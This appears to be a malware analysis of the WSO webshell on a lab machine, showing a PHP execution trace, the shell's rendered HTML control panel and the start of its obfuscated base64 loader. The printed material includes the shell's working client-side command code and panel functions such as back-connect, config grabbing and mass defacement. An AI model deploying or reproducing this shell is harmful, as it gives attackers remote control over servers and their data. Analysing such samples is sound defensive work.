3		A						/var/www/html/uploads/control.php(5) : eval()'d code	910	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'control.php', 'path' => '/var/www/html/uploads/control.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:29:24', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	911	$l = 0
4	209	0	0.024138	1259376	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'..'
4	209	1	0.024152	1259440
4	209	R			'..'
4	210	0	0.024167	1259504	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'..'
4	210	1	0.024182	1259696
4	210	R			'..'
4	211	0	0.024197	1259616	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'..'
4	211	1	0.024210	1259680
4	211	R			'..'
4	212	0	0.024224	1259744	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'..'
4	212	1	0.024237	1259808
4	212	R			'..'
4	213	0	0.024250	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'..'
4	213	1	0.024263	1260000
4	213	R			'..'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	915	$l = 1
4	214	0	0.024289	1259392	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'data'
4	214	1	0.024302	1259456
4	214	R			'data'
4	215	0	0.024316	1259504	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'data'
4	215	1	0.024329	1259696
4	215	R			'data'
4	216	0	0.024344	1259616	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'data'
4	216	1	0.024357	1259680
4	216	R			'data'
4	217	0	0.024370	1259744	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'data'
4	217	1	0.024383	1259808
4	217	R			'data'
4	218	0	0.024399	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'data'
4	218	1	0.024412	1260000
4	218	R			'data'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	915	$l = 0
4	219	0	0.024602	1259376	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'.htaccess'
4	219	1	0.024616	1259448
4	219	R			'.htaccess'
4	220	0	0.024631	1259424	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'.htaccess'
4	220	1	0.024644	1259496
4	220	R			'.htaccess'
4	221	0	0.024659	1259504	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'.htaccess'
4	221	1	0.024673	1259696
4	221	R			'.htaccess'
4	222	0	0.024687	1259488	viewSize	1		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	64
4	222	1	0.024703	1259520
4	222	R			'64 B'
4	223	0	0.024717	1259616	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'.htaccess'
4	223	1	0.024731	1259688
4	223	R			'.htaccess'
4	224	0	0.024745	1259744	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'.htaccess'
4	224	1	0.024758	1259816
4	224	R			'.htaccess'
4	225	0	0.024772	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'.htaccess'
4	225	1	0.024785	1260008
4	225	R			'.htaccess'
4	226	0	0.024798	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'.htaccess'
4	226	1	0.024811	1260008
4	226	R			'.htaccess'
4	227	0	0.024824	1260160	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'.htaccess'
4	227	1	0.024837	1260232
4	227	R			'.htaccess'
4	228	0	0.024850	1260256	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'.htaccess'
4	228	1	0.024863	1260328
4	228	R			'.htaccess'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	915	$l = 1
4	229	0	0.024889	1259392	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'control.php'
4	229	1	0.024902	1259464
4	229	R			'control.php'
4	230	0	0.024916	1259456	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'control.php'
4	230	1	0.024930	1259528
4	230	R			'control.php'
4	231	0	0.024944	1259536	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'control.php'
4	231	1	0.024957	1259728
4	231	R			'control.php'
4	232	0	0.024971	1259520	viewSize	1		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	95692
5	233	0	0.024986	1259520	sprintf	0		/var/www/html/uploads/control.php(5) : eval()'d code	297	2	'%1.2f'	93.44921875
5	233	1	0.025002	1259904
5	233	R			'93.45'
4	232	1	0.025015	1259560
4	232	R			'93.45 KB'
4	234	0	0.025030	1259616	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'control.php'
4	234	1	0.025043	1259688
4	234	R			'control.php'
4	235	0	0.025057	1259808	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'control.php'
4	235	1	0.025071	1259880
4	235	R			'control.php'
4	236	0	0.025084	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'control.php'
4	236	1	0.025098	1260008
4	236	R			'control.php'
4	237	0	0.025111	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'control.php'
4	237	1	0.025124	1260008
4	237	R			'control.php'
4	238	0	0.025138	1260160	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'control.php'
4	238	1	0.025151	1260232
4	238	R			'control.php'
4	239	0	0.025164	1260320	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'control.php'
4	239	1	0.025178	1260392
4	239	R			'control.php'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	915	$l = 0
4	240	0	0.025203	1259376	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'prepend.php'
4	240	1	0.025217	1259448
4	240	R			'prepend.php'
4	241	0	0.025231	1259424	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'prepend.php'
4	241	1	0.025244	1259496
4	241	R			'prepend.php'
4	242	0	0.025262	1259504	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'prepend.php'
4	242	1	0.025275	1259696
4	242	R			'prepend.php'
4	243	0	0.025289	1259520	viewSize	1		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	57
4	243	1	0.025304	1259552
4	243	R			'57 B'
4	244	0	0.025318	1259616	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	913	1	'prepend.php'
4	244	1	0.025331	1259688
4	244	R			'prepend.php'
4	245	0	0.025345	1259744	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'prepend.php'
4	245	1	0.025359	1259816
4	245	R			'prepend.php'
4	246	0	0.025372	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'prepend.php'
4	246	1	0.025385	1260008
4	246	R			'prepend.php'
4	247	0	0.025398	1259936	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'prepend.php'
4	247	1	0.025412	1260008
4	247	R			'prepend.php'
4	248	0	0.025425	1260160	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'prepend.php'
4	248	1	0.025438	1260232
4	248	R			'prepend.php'
4	249	0	0.025451	1260320	urlencode	0		/var/www/html/uploads/control.php(5) : eval()'d code	914	1	'prepend.php'
4	249	1	0.025464	1260392
4	249	R			'prepend.php'
3		A						/var/www/html/uploads/control.php(5) : eval()'d code	915	$l = 1
4	250	0	0.025489	1259296	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	920	1	'/var/www/html/uploads/'
4	250	1	0.025504	1259488
4	250	R			'/var/www/html/uploads/'
4	251	0	0.025520	1259296	class_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	926	1	'ZipArchive'
4	251	1	0.025535	1259336
4	251	R			FALSE
4	252	0	0.025550	1259296	hardFooter	1		/var/www/html/uploads/control.php(5) : eval()'d code	933	0
5	253	0	0.025563	1259296	is_writable	0		/var/www/html/uploads/control.php(5) : eval()'d code	242	1	'/var/www/html/uploads/'
5	253	1	0.025581	1259336
5	253	R			TRUE
4		A						/var/www/html/uploads/control.php(5) : eval()'d code	242	$is_writable = ' <font color=\'#e6b000\'>[ Writeable ]</font>'
5	254	0	0.025609	1259296	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	247	1	'actionFilesMan'
5	254	1	0.025624	1259336
5	254	R			TRUE
5	255	0	0.025637	1259552	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	247	1	'/var/www/html/uploads/'
5	255	1	0.025652	1259744
5	255	R			'/var/www/html/uploads/'
5	256	0	0.025667	1259680	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	248	1	'actionFilesTools'
5	256	1	0.025681	1259720
5	256	R			TRUE
5	257	0	0.025695	1259936	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	250	1	'actionFilesMan'
5	257	1	0.025709	1259976
5	257	R			TRUE
5	258	0	0.025723	1260192	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	251	1	'actionFilesTools'
5	258	1	0.025737	1260232
5	258	R			TRUE
5	259	0	0.025750	1260576	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	253	1	'actionConsole'
5	259	1	0.025763	1260616
5	259	R			TRUE
5	260	0	0.025776	1260576	function_exists	0		/var/www/html/uploads/control.php(5) : eval()'d code	254	1	'actionFilesMan'
5	260	1	0.025790	1260616
5	260	R			TRUE
5	261	0	0.025804	1260832	htmlspecialchars	0		/var/www/html/uploads/control.php(5) : eval()'d code	256	1	'/var/www/html/uploads/'
5	261	1	0.025818	1261024
5	261	R			'/var/www/html/uploads/'
4	252	1	0.025836	1259296
3	55	1	0.025846	1252024
2	13	1	0.025855	1252024
1	3	1	0.025868	1056240
			0.025904	873240
TRACE END   [2023-02-12 22:29:50.659066]


Generated HTML code

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title> WSO SHELL 2018</title>
<style>
	body {background-color:#0d0d0d; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
	#particles-js{width: 100%; height: 100px; background-color: #0d0d0d; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:#ffffff;}
	table#toolsTbl {background-color: #0d0d0d;}
	span,h1,a	{color:#ff9900 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #ff5e00d9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#0d0d0d;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
	label {position:relative}
	label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #0d0d0d;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#0d0d0d;}
	.main tr:hover{background-color:#373c42;}
	.main td, th{vertical-align:middle;}
	input[type='submit']{background-color:#ff5e00d9;}
	input[type='button']{background-color:#ff5e00d9;}
	input[type='submit']:hover{background-color:#ff5e00d9;}
	input[type='button']:hover{background-color:#ff5e00d9;}
	.l1			{background-color:#202832;}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '/var/www/html/';
    var a_ = 'FilesMan'
    var charset_ = 'UTF-8';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.c.value = encrypt(d.mf.c.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p1.value = encrypt(d.mf.p1.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p2.value = encrypt(d.mf.p2.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p3.value = encrypt(d.mf.p3.value,'ab08edf2e5f896ca30f54153008b9d29');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('/wso.php', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
</head><body><div style="position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 <a href="https://anon.click/protected/https://www.google.com/search?q=Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64" target="_blank">[ Google ]</a> <a href="https://www.exploit-db.com/search/?action=search&amp;description=Linux+Kernel+5.15.0" target="_blank">[ Exploit-DB ]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="#e6b000"><b>OFF</b></font> <a href="#" onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 19:18:22<br>216.08 GB <span>Free:</span> 189.21 GB (87.57%)<br><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)">/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)">var/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)">www/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)">html/</a> <font color="#e6b000"><b>drwxrwxrwx</b></font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><label><select onchange="g(null,null,null,null,null,this.value)"><option value="UTF-8" selected="">UTF-8</option><option value="Windows-1251">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></select></label><br><span>Server IP:</span><br>127.0.0.1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="background-color:#373c42;" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th>[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th>[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th>[ <a href="#" onclick="g('Sql',null,'','','')">Mass Deface</a> ]</th><th>[ <a href="#" onclick="g('Infect',null,'','','')">Adminer</a> ]</th><th>[ <a href="#" onclick="g('Console',null,'','','')">Terminal</a> ]</th><th>[ <a href="#" onclick="g('Massuser',null,'','','')">Mass Title Edit</a> ]</th><th>[ <a href="#" onclick="g('Php',null,'','','')">Grab Cpanel</a> ]</th><th>[ <a href="#" onclick="g('SafeMode',null,'','','')">Get Configs</a> ]</th><th>[ <a href="#" onclick="g('StringTools',null,'','','')">Jumping</a> ]</th><th>[ <a href="#" onclick="g('Bruteforce',null,'','','')">Cgi Telnet</a> ]</th><th>[ <a href="#" onclick="g('Network',null,'','','')">Back Connect</a> ]</th><th>[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div><br><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_name_0&quot;)">Name</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_size_0&quot;)">Size</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_modify_0&quot;)">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_perms_0&quot;)">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 19:18:21</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#e6b000"><b>drwxrwxrwx</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 19:18:21</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white"><b>-rw-r--r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td><input type="checkbox" name="f[]" value="wso.php" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'wso.php', 'view')">wso.php</a></td><td>93.45 KB</td><td>2023-02-12 19:18:21</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'wso.php','chmod')"><font color="white"><b>-rw-rw-r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'wso.php', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'wso.php', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'wso.php', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'wso.php', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'wso.php', 'download')">D</a></td></tr><tr id="fak"><td colspan="7">
	<input type="hidden" name="ne" value="">
	<input type="hidden" name="a" value="FilesMan">
	<input type="hidden" name="c" value="/var/www/html/">
	<input type="hidden" name="charset" value="UTF-8">
	<label><select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">+ tar.gz</option></select></label><input type="submit" value="submit"></td></tr></tbody></table></div>
</div>
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
	<tbody><tr>
		<td><form onsubmit="g(null,this.c.value,'');return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="#e6b000">[ Writeable ]</font><br><input class="toolsInp" type="text" name="d" required=""><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="#e6b000">[ Writeable ]</font><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value="submit"></form></td>
		<td><form method="post" enctype="multipart/form-data">
		<input type="hidden" name="a" value="FilesMan">
		<input type="hidden" name="c" value="/var/www/html/">
		<input type="hidden" name="p1" value="uploadFile">
		<input type="hidden" name="ne" value="">
		<input type="hidden" name="charset" value="UTF-8">
		<span>Upload file:</span> <font color="#e6b000">[ Writeable ]</font><br><input class="toolsInp" type="file" name="f[]" multiple=""><input type="submit" value="submit"></form><br></td>
	</tr></tbody></table></div>
	<!-- particles --> <div id="particles-js"><canvas class="particles-js-canvas-el" width="1846" height="100" style="width: 100%; height: 100%;"></canvas></div><script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
	<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	</body></html>

Original PHP code

<?pHp
	// WHO SHELL 2018
	// PHP 7 SUPPORTED
 $â–› = ""; //
 $wz0=base64_decode('c3RyX3JvdDEz');$jn1=base64_decode('Z3ppbmZsYXRl');$nj2=base64_decode('c3RyX3JvdDEz');$gw3=base64_decode('YmFzZTY0X2RlY29kZQ==');$vt4=base64_decode('N1Azcmt1SlZ0aWdNL3E1d3R0K0JpczdkY2U3SWpKQzRVUWFabFV3dEFnbFdJTzRnb0twQm1pQzVnNUFJRUpLNjYrODh3ckdaT1hEMjJUekR2TWc4dzJ5U1RNdmRhQU1pTXFxNmF0VSszemRNVXdWVmZ2ZG85K1Y0L2R0Lys1dHdPRittdTlucjlHRXlHVnErYTZOOStucFhrQWVETngvL0xmWVdubjhoSmFid21saSs4ODNWbDkxM2RNMTB6c2o0TW1iODNXeVowWHcybnMrK2VlZVBqN3VKY096UFdOak9aK3laNjVOZVh2MnYvL0YvUW4xWHpTYnpIZjMxLzRKZmRybmNmbXFmcGcvK24vaWc3V3U3NmRBMDJMUC9Cenp6N2Z6clNsK2tscWkweEovUzNXWDU0WXNNdjc3VU9pMmhuUDRGRzJvZVJxKy9hcWJZL2FzdmpXK3gzM2o5WjZGTnR5aHVoWnNyYXJlKyt1WE5tOVRmLysyL2ZUZWVqSE9qMlcyOGUvMnRHbUpHT0NMczc5ZC8rMkxZNmV1ZFA1NnRvYzRERlBzcGVoM01DUXdCeXIrQmFjK2V3a2RqMnFmRHBhV01YVG9ZRUxTYmZIU1NTckZmMEpKd2pZekY2NnY1N1BIZFBRN3N0TE8zS1h0MFd0YmpVU3RpZjh2aWZMdzBGQ3N4Rk90cURzWDZTZ3h5ekNmR2dqOS8xMkN3NHI5Z05KbmtkVEsvYWpTWmY4bDFzc25SY1gvdmRiSy9mVFNBRzY4T3V4WDBhaVhwOVpZNkhDN2JQZlh4U1h6c2x1NzMvYzJrZUl5OXZsK3R6T1grMS81RDFDZWxzVjBVZEpLcjY1UEJldFdlZkxYa2ZqN2ZmV0lZeG56K1h0TEdzNExndFE3eTRycHZsNHlIOGRISXRyYXI5OGU3dW1Jdmk0MzlocHZNaDExbzlYN2RUV2Y3eSt2RmE5ZSsyMkVMZzhuWDVrQmUzYlZYU0g5dWVjVUhxVVpFaHdWT1Nyeit2bkIxUmwvc1dGQnkzaStyaFVqeGJjcVZ2MjMzWDl2bGdXWjdOMy93dWNsSC9qcGlRZXZDb1poYkNzM05zVDBSNXJvMkZ2ZXIvZmo5MTRGbS9TZ1hLdmxjVEsvVjg0ZDdRdGtwbFlVOE1XWWxPWjg1NnJYWm5mRjFIUFNlLzdYLzRBd3JoVTcrZm1uY1ArU002dnRkcnQzWUhvWGhlbW4rMVhibjdpYktZZFl4cnB2RlBUZWFPMm5SeU9TTnd2aWh0VG